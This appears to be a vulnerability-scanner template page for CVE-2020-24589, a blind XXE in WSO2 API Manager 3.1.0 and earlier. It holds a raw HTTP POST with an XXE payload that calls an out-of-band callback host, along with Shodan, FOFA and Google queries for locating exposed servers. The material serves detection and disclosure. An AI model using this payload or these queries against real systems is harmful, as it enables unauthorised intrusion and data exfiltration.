WSO2 API Manager 3.1.0 and earlier is vulnerable to blind XML external entity injection (XXE). XXE often allows an attacker to view files on the server file system, and to interact with any backend or external systems that the application itself can access which allows the attacker to transmit sensitive data from the compromised server to a system that the attacker controls.
PoC代码[已公开]
id: CVE-2020-24589
info:
name: WSO2 API Manager <=3.1.0 - Blind XML External Entity Injection
author: lethargynavigator
severity: critical
description: WSO2 API Manager 3.1.0 and earlier is vulnerable to blind XML external entity injection (XXE). XXE often allows an attacker to view files on the server file system, and to interact with any backend or external systems that the application itself can access which allows the attacker to transmit sensitive data from the compromised server to a system that the attacker controls.
impact: |
Successful exploitation of this vulnerability could lead to unauthorized access to sensitive information, denial of service, or server-side request forgery.
remediation: |
Upgrade to a patched version of WSO2 API Manager (3.1.1 or above) or apply the provided security patch.
reference:
- https://docs.wso2.com/display/Security/Security+Advisory+WSO2-2020-0742
- https://nvd.nist.gov/vuln/detail/CVE-2020-24589
- https://github.com/ARPSyndicate/kenzer-templates
- https://github.com/athiththan11/WSO2-CVE-Extractor
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:H
cvss-score: 9.1
cve-id: CVE-2020-24589
cwe-id: CWE-611
epss-score: 0.8912
epss-percentile: 0.99514
cpe: cpe:2.3:a:wso2:api_manager:*:*:*:*:*:*:*:*
metadata:
max-request: 1
vendor: wso2
product: api_manager
shodan-query: http.favicon.hash:1398055326
fofa-query: icon_hash=1398055326
google-query: inurl:"carbon/admin/login"
tags: cve2020,cve,wso2,xxe,oast,blind
http:
- raw:
- |
POST /carbon/generic/save_artifact_ajaxprocessor.jsp HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
payload=<%3fxml+version%3d"1.0"+%3f><!DOCTYPE+a+[+<!ENTITY+%25+xxe+SYSTEM+"http%3a//{{interactsh-url}}">%25xxe%3b]>
matchers-condition: and
matchers:
- type: word
part: interactsh_protocol
words:
- "http"
- type: word
part: body
words:
- "Failed to install the generic artifact type"
# digest: 4a0a00473045022026c34e835f5beab1794fd3d6c8717be3f5afdc7f6e3036461783d59001617e2b022100f0c82ef05e44e813791858d108ae207754e1f089f8568d61d4718f01e97aa14e:922c64590222798bb761d5b6d8e72950